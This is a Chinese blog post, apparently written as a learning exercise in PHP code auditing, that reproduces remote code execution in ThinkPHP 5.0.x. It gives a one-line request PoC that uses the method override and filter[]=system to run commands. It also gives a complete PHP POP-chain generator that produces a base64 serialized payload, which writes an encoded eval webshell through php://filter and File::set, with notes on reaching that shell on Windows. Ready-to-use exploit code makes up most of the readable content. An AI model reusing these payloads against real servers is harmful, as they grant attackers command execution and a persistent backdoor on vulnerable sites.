Thinkphp5.0.x_RCE复现

admin 2021年12月31日03:56:18Thinkphp5.0.x_RCE复现已关闭评论89 views字数 3991阅读13分18秒阅读模式

环境搭建

win10

apache2+mysql+ThinkPHP5.0.20+php7.2

ONE

链的过程!

利用链!

App.php/run() --> App.php/routeCheck() --> Route.php/check() --> Request.php/method() --> Request.php __construct --> App.php/exec() -->Request.php/param() --> Request.php/input() -->Request.php/getFilter() --> Request.php/filterValue()

首先要知道:

Thinkphp5.0.x_RCE复现

只要看Request.php/method()方法! 可变方法!

Thinkphp5.0.x_RCE复现

$this->method$_POST 都是可控的!

接下来就是到了:App.php/exec方法!

Thinkphp5.0.x_RCE复现

通过 param方法调用 input方法!

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

强比较没有直接返回!

Thinkphp5.0.x_RCE复现

再调用getFilter方法!

Thinkphp5.0.x_RCE复现

再通过array_walk_recursive方法 调用filterValue方法!

Thinkphp5.0.x_RCE复现

就可以RCE了!还是有回显的!

Thinkphp5.0.x_RCE复现

过滤没什么用! 对REC后的值进行过滤!而且过滤是针对SQL的!

Thinkphp5.0.x_RCE复现

poc

/index.php?s=captcha
_method=__construct&filter[]=system&method=GET&get[]=whoami

TWO 反序列化

*POP* 链入口 thinkphp/library/think/process/pipes/Windows.php

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

*file_exists 函数来触发任意类的 *__toString 方法 **

选择 **think\Model 类来触发

由于该类为抽象类,我们找到它在继承类! **think\Model\Pivot 类。

跟进toJson方法至toArray方法

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

toArray方法里通过getAttr 来触发__call方法

Thinkphp5.0.x_RCE复现

现在寻找可用的__call方法

thinkphp/library/think/console/Output.php 通过

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

handle可控!

Thinkphp5.0.x_RCE复现

找一个write方法写shell!

thinkphp/library/think/session/driver/Memcached.php文件

Thinkphp5.0.x_RCE复现

think\cache\driver\File 的set() 方法可以写文件

Thinkphp5.0.x_RCE复现

但是发现由于 :

Thinkphp5.0.x_RCE复现

传进来的 $newline 是true导致 $sessData是true 导致$data是serialize(true);

不过有大佬发现: setTagItem方法又调用了一次set方法! 而且value可控!

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

大致思路就是:通过Windows类入口!来触发Model类 __toString方法!再来触发Output类__call方法 ,再调用 Memcached类write方法 ,最后调用File 里的set方法写shell!

win下:

Thinkphp5.0.x_RCE复现

poc

```
<?php
namespace think\process\pipes {

class Windows {

private $files = [];

public function __construct($files)
      {

$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
      }
  }
}

namespace think {

abstract class Model{

protected $append = [];
       protected $error = null;
       public $parent;

function __construct($output, $modelRelation)
      {

$this->parent = $output;  //$this->parent=> think\console\Output;
           $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
           $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
      }
  }
}

namespace think\model{

use think\Model;
   class Pivot extends Model{

function __construct($output, $modelRelation)
      {

parent::__construct($output, $modelRelation);
      }
  }
}

namespace think\model\relation{

class HasOne extends OneToOne {

}
}
namespace think\model\relation {

abstract class OneToOne
  {

protected $selfRelation;
       protected $bindAttr = [];
       protected $query;
       function __construct($query)
      {

$this->selfRelation = 0;
           $this->query = $query;    //$query指向Query
           $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
      }
  }
}

namespace think\db {

class Query {

protected $model;

function __construct($model)
      {

$this->model = $model; //$this->model=> think\console\Output;
      }
  }
}
namespace think\console{

class Output{

private $handle;
       protected $styles;
       function __construct($handle)
      {

$this->styles = ['getAttr'];
           $this->handle =$handle; //$handle->think\session\driver\Memcached
      }

}
}
namespace think\session\driver {

class Memcached
  {

protected $handler;

function __construct($handle)
      {

$this->handler = $handle; //$handle->think\cache\driver\File
      }
  }
}

namespace think\cache\driver {

class File
  {

protected $options=null;
       protected $tag;

function __construct(){

$this->options=[
               'expire' => 3600,
               'cache_subdir' => false,
               'prefix' => '',
            'path'  => 'php://filter/write=string.rot13/resource=<?cuc @riny($TRG[]);?>',

// 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',   //win
             // 'path' => './demo/' , // 创建目录 要高权限才行 不然会报错 写目录的地方也要有w才能
               'data_compress' => false,
          ];
           $this->tag = 'xxx';
      }

}
}

namespace {

$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
   $Output = new think\console\Output($Memcached);
   $model = new think\db\Query($Output);
   $HasOne = new think\model\relation\HasOne($model);
   $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
//   echo serialize($window);
   echo base64_encode(serialize($window));
}
```

小问题:

https://xz.aliyun.com/t/7457

win写shell要转义一下:

Thinkphp5.0.x_RCE复现

Thinkphp5.0.x_RCE复现

访问<%3fcuc @riny($_TRG[_]);%3f>12ac95f1498ce51d2d96a249c09c1998.php

问号要url编码下!

Thinkphp5.0.x_RCE复现

总结:

最近学习下php代码审计! 向前辈们学习!收获多多!pop链确实挺难的!还要慢慢来学习!

文章:

https://hexo.imagemlt.xyz/post/tp5_rce/

https://xz.aliyun.com/t/3845#toc-2

https://xz.aliyun.com/t/7082

https://www.anquanke.com/post/id/196364#h2-4

https://xz.aliyun.com/t/7457

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thinkphp5.0.x_RCE复现http://cn-sec.com/archives/692021.html